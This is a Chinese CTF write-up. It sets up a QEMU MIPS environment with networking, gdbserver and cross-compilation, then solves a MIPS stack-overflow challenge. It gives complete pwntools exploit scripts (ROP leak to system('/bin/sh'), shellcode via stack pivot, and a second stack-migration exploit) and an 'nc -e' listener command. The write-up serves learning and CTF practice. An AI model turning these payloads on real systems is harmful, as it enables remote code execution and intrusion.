题目
题目链接 https://github.com/Q1IQ/ctf/blob/master/mips/pwn2
题目名字就叫做mips,肯定是mips架构的了。
$ file pwn2
pwn2: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, not stripped
直接运行程序会显示下面的信息。
所以首先是搭建环境,搭建环境的目标是:
- 能运行题目程序
- 能用python脚本和题目程序进行交互
- 能够调试题目程序
mips
qemu
QEMU 支持两种操作模式:用户模式仿真和系统模式仿真。用户模式仿真 允许一个 CPU 构建的进程在另一个 CPU 上执行(执行主机 CPU 指令的动态翻译并相应地转换 Linux 系统调用)。系统模式仿真 允许对整个系统进行仿真,包括处理器和配套的外围设备。
老是记不住哪个是大小端
MSB:大端 -EB(大端)
LSB:小端 -EL (小端)
总体上都是参照着这个博客搭的
上面博客里给的题我没有成功调出来,找到了下面这个链接里有一个相同的题。
qemu系统模式
教程
为了和模拟出来的整个系统进行通信,需要先配置qemu的网络。配置网络在网上找到两种方法,另外一种修改/etc/network/interfaces
的方法不容易成功,还是推荐下面的方法:
创建网桥:
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.122.1/24 up
创建tap
接口,名字为tap0
,并添加到网桥:
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.122.11/24 up
sudo brctl addif virbr0 tap0
下载并启动qemu镜像,配置qemu虚拟机中的网络。在这里下载qemu的mips镜像
# 使用qemu启动下载的镜像
sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
创建出来的格式是ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV)
输入root/root进入虚拟机,设置ip:
ifconfig eth0 192.168.122.12/24 up
通过qemu的系统模式模拟出来了整个系统,我们可以在系统里面运行mips架构的程序,那么该如何对其进行调试呢?
可以在这里下载(原始的项目访问不了了,贴的是fork的)各个架构静态编译的gdbserver,使用gdbserver启动要调试的程序或附加到需要调试的进程上。
# 启动要调试的程序
root@debian-mips:~# ./gdbserver 0.0.0.0:12345 embedded_heap
Process embedded_heap created; pid = 2379
Listening on port 12345
# 附加到要调试的进程
root@debian-mips:~# ./gdbserver 0.0.0.0:12345 --attach $(pidof embedded_heap)
Attached; pid = 2790
Listening on port 12345
接着就可以在qemu外使用gdb-mutiarch来连接该端口进行调试了
gdb-multiarch embedded_heap
set arch mips
set endian big
target remote 192.168.122.12:12345
教程里写可以使用socat转发数据输入不可见字符。socat从这里获取:mips-binaries-master,一个静态编译的mips工具集。然而这个是MSB的,本题用不了。
针对本题
这道题需要下载el(little endian)镜像,下载链接https://people.debian.org/~aurel32/qemu/mipsel/
#启动下载的镜像
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
用户名和密码都是root。
运行题目程序
和python交互
while true ;do nc -lvvp 8080 -t -e ~/pwn2; done;
调试
找到对应的gdbserver。
使用gdb连接调试。
gdb-multiarch pwn2
set arch mips
set endian little
target remote ip:12345
qemu虚拟机上外网
sudo brctl addbr virbr0# 添加一座名为 virbr0 的网桥
sudo ifconfig virbr0 192.168.122.1/24 up
sudo tunctl -t tap0 # 创建一个 tap0 接口
sudo ifconfig tap0 192.168.122.11/24 up
sudo brctl addif virbr0 tap0 # 在虚拟网桥中增加一个 tap0 接口
#上面是配置qemu虚拟机和主机通信 如果前面配置过了这里就不用重复配置了
#安装工具
apt-get install bridge-utils # 虚拟网桥工具
apt-get install uml-utilities # UML(User-mode linux)工具
#配置ens33和tap0为虚拟网桥virbr0的两个接口
sudo ifconfig ens33 down #ens33是网卡名称(能上网的那张) 关闭宿主机网卡接口
sudo brctl addif virbr0 ens33 # 在 virbr0 中添加ens33作为接口
sudo brctl stp virbr0 off # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd virbr0 1 #转发延迟
sudo brctl sethello virbr0 1 #hello 时间
sudo ifconfig virbr0 0.0.0.0 promisc up #启用 virbr0 接口
sudo ifconfig ens33 0.0.0.0 promisc up# 启用网卡接口
sudo dhclient virbr0 # 从 dhcp 服务器获得 virbr0 的 IP 地址
sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
#
brctl show virbr0 # 查看虚拟网桥列表
brctl showstp virbr0 # 查看 virbr0 的各接口信息
#启动下载的镜像
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
-net nic 表示希望 QEMU 在虚拟机中创建一张虚拟网卡,-net tap 表示连接类型为 TAP,并且指定了网卡接口名称(就是刚才创建的 tap0,相当于把虚拟机接入网桥)。
参考博客:https://wzt.ac.cn/2019/09/10/QEMU-networking/
qemu用户模式
运行题目程序
sudo chroot . ./qemu-mipsel-static ./pwn2
qemu-mipsel -L . ./pwn2
./qemu-mipsel-static -L . ./pwn2
和python交互
socat tcp-l:9999,fork exec:"sudo chroot . ./qemu-mipsel-static ./pwn2"
调试
sudo chroot . ./qemu-mipsel-static -g 12345 ./pwn2
qemu-mipsel -L . -g 12345 ./pwn2
gdb-multiarch pwn2
set arch mips
set endian little
target remote ip:12345
![image-20200517013946771](/Users/apple/Library/Application Support/typora-user-images/image-20200517013946771.png)
交叉编译
理论
https://blog.csdn.net/ajianyingxiaoqinghan/article/details/70917569
现成的工具
https://www.uclibc.org/downloads/binaries/0.9.30.1/
自己下载编译
下载buildroot
wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2 tar -jxvf buildroot-snapshot.tar.bz2 cd buildroot
配置buildroot
sudo apt-get install libncurses-dev patch make clean make menuconfig
在出现界面后,选择第一项“Target Architecture”,改成MIPS(little endian),另外,选择“Toolchain”,务必将“Kernel Headers”的Linux版本改成你自己主机的Linux版本(因为我们编译出的MIPS交叉工具是需要在我们的主机上运行的)
像我做的这样:
安装
sudo apt-get install texinfo sudo apt-get install bison sudo apt-get install flex sudo make
经过约一小时,编译完成后,在buildroot文件夹下多了一个output文件夹,其中就是编译好的文件,可以在buildroot/output/host/usr/bin找到生成的交叉编译工具,编译器是该目录下的mips-linux-gcc文件。
配置环境变量,使得可以直接使用命令编译文件。
gedit ~/.bashrc export PATH=$PATH:/Your_Path/buildroot/output/host/usr/bin source ~/.bashrc
终于开始做题了
分析
什么保护都没开。
首先看main函数,问你名字是啥,你的名字大小为0x14个字节。虽然这个代码看起来很奇怪吧,但是这个fd=0表示标准输入什么的都是相通的。
问完就进到了这个vuln函数里,有个栈溢出在这里。
ROP利用
应该可以弄一个shellcode。如果是普通的题,可以jmp esp,但我没找着。网上唯一的解是ROP,所以我也跟着那个试了试ROP。思路是先泄露read,再构造system('/bin/sh')
,'/bin/sh'
是在libc里找的,这里就和基础的pwn一毛一样了。自己写的脚本:
from pwn import *
context.log_level = 'debug'
libc=ELF("./lib/libc.so.0")
elf = ELF('./pwn2')
io = remote("192.168.3.26", 8080)
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ru("What's your name: \n")
sl("fuyeqi")
sleep(0.2)
r()
#leak got
j2s2_s1a0=0x004007A8#gadget
j_s3210=0x004006C8
main=0x00400820
c=''
c+='\x31'*0x24
c+=p32(j_s3210)
c+='\x31'*0x1c
c+=p32(1111)#s0
c+=p32(elf.got['read'])#s1
c+=p32(0x0040092C)#s2
c+=p32(1111)#s3
c+=p32(j2s2_s1a0)#ra printf(elf.got['read'])
c+='\x20'*0x20
c+=p32(0x400750) #执行到 0x00400800 lw $gp, 0x40+var_30($fp)时,$fp+0x10需要可读
sl(c)
#libcbase
read_addr=u32(r()[0:4])
libc.address=read_addr-libc.symbols['read']
#getshell
c=''
c+='\x31'*0x24
c+=p32(j_s3210)
c+='\x31'*0x1c
c+=p32(1111)#s0
c+=p32(libc.search('/bin/sh').next())#s1
c+=p32(libc.symbols['system'])#s2
c+=p32(1111)#s3
c+=p32(j2s2_s1a0)#ra
sl(c)
io.interactive()
成功获取shell。
ROP+shellcode
https://blog.csdn.net/seaaseesa/article/details/105281585
#coding:utf8
from pwn import *
#由于不知道uclibc版本,所以,我们利用栈迁移,在bss段布下shellcode执行即可
#sh = process(argv=['qemu-mipsel','-g','6666','-L','/home/sea/mips_os/mipsel-linux-uclibc','./mips_pwn2'])
#sh = process(argv=['qemu-mipsel','-L','/home/sea/mips_os/mipsel-linux-uclibc','./mips_pwn2'])
sh = remote('node3.buuoj.cn',27820)
bss = 0x410B70
text_read = 0x4007E0
sh.sendafter("What's your name:","haivk")
shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')
#ret2shellcode
payload = 'a'*0x20
#fp
payload += p32(bss + 0x200 - 0x40 + 0x28)
#调用read向bss段输入shellcode,然后ret到bss段
payload += p32(text_read)
sh.send(payload)
sleep(1)
payload = 'a'*0x24
#ra
payload += p32(bss + 0x200 + 0x28)
payload += shellcode
sh.send(payload)
sh.interactive()
栈迁移 ISCC baby_mips
溢出只能覆盖到$fp(相当于ebp)。
from pwn import *
from struct import pack,unpack,calcsize
context.log_level = 'debug'
#libc=ELF("./libc.so.0")
elf = ELF('./baby_mips')
backdoor = 0x00400690
bss_name = 0x004923B0
io = remote("101.200.240.241",7030)
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ru("What's your name?\n")
sl('1'*0x1c+pack("<I",backdoor))
ru("YaLeYaLeDaZe?(yaleyale/kotowalu)\n")
s('1'*8+pack("<I",bss_name))
io.interactive()
后记
调试的时候发现一个问题:gdb调试mips架构的时候,会把$fp认成$s8。
本场比赛一共四道pwn题
做出来的题:
- 一个堆题,跟之前做的某个题特别像。当时写的wp:利用格式化字符串漏洞泄露libc,构造overlap修改 global_max_fast ,然后就可以fastbinattack改 malloc hook 拿shell,但因为有大小限制,所以需要自己在 malloc hook 前填一个size位。
- 一个32位格式化字符串盲注,当时写的wp:先确定格式化字符串漏洞的偏移是8,dump出全部的程序后构造exp,利用方法是先泄露read的got表地址,然后改sprintf的got表地址为onegadget拿shell。
未做出来的题:
- 一个64位格式化字符串盲注,因为菜,所以时间不够。
- 这篇博客写的mips